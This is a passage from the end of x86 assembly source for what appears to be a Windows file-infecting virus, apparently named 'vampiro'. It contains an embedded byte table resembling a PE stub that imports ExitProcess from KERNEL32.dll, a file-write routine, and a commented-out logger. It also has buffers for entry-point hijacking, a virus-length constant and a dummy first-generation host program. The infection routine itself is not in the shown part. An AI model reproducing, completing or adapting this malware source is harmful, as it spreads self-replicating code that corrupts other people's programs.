db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,06Ah,000h,0E8h,000h
|
|||
|
|
db 000h,000h,000h,0FFh,025h,030h,030h,040h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,028h,030h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,038h,030h,000h,000h,030h,030h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,046h,030h,000h,000h,000h,000h,000h,000h,046h,030h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,04Bh,045h,052h,04Eh,045h,04Ch,033h,032h,02Eh,064h
|
|||
|
|
db 06Ch,06Ch,000h,000h,000h,000h,045h,078h,069h,074h,050h,072h,06Fh,063h
|
|||
|
|
db 065h,073h,073h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
__1:
|
|||
|
|
pop edx
|
|||
|
|
push 2560
|
|||
|
|
pop ecx
|
|||
|
|
call write
|
|||
|
|
call close
|
|||
|
|
__2:
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
|
|||
|
|
COMMENT &
|
|||
|
|
|
|||
|
|
log db 'c:\vampiro.log',0
|
|||
|
|
|
|||
|
|
log_it:
|
|||
|
|
pusha
|
|||
|
|
push edx
|
|||
|
|
lea edx, [ebp.log]
|
|||
|
|
push 2
|
|||
|
|
pop eax
|
|||
|
|
call open
|
|||
|
|
cmp eax, -1
|
|||
|
|
jnz __1
|
|||
|
|
push 0 edx
|
|||
|
|
call [ebp._lcreat]
|
|||
|
|
__1:xchg eax, ebx
|
|||
|
|
call fsize
|
|||
|
|
xchg eax, edx
|
|||
|
|
call seek
|
|||
|
|
mov edx, [esp]
|
|||
|
|
mov esi, edx
|
|||
|
|
sub ecx, ecx
|
|||
|
|
__2:
|
|||
|
|
lodsb
|
|||
|
|
inc ecx
|
|||
|
|
cmp al, 0
|
|||
|
|
jnz __2
|
|||
|
|
dec ecx
|
|||
|
|
call write
|
|||
|
|
push 0D0A0D0Ah
|
|||
|
|
push 2
|
|||
|
|
pop ecx
|
|||
|
|
mov edx, esp
|
|||
|
|
call write
|
|||
|
|
pop eax
|
|||
|
|
call close
|
|||
|
|
pop edx
|
|||
|
|
popa
|
|||
|
|
ret
|
|||
|
|
&
|
|||
|
|
|
|||
|
|
db '^^'
|
|||
|
|
|
|||
|
|
buff: db 25*1024+8000 dup (0)
|
|||
|
|
db 1000h dup (0)
|
|||
|
|
len_buff equ $-buff
|
|||
|
|
buffer db 0F8h + (28h*8) dup (0)
|
|||
|
|
word3C dd 0
|
|||
|
|
size_UEP equ 4096
|
|||
|
|
UEP db size_UEP dup (0)
|
|||
|
|
forUEP dd 0
|
|||
|
|
tbl db 2048 dup (0)
|
|||
|
|
_vl equ ($-start)
|
|||
|
|
|
|||
|
|
.code
|
|||
|
|
host32:
|
|||
|
|
jmp $
|
|||
|
|
real_start:
|
|||
|
|
push 0
|
|||
|
|
zcall ExitProcess
|
|||
|
|
end host32
|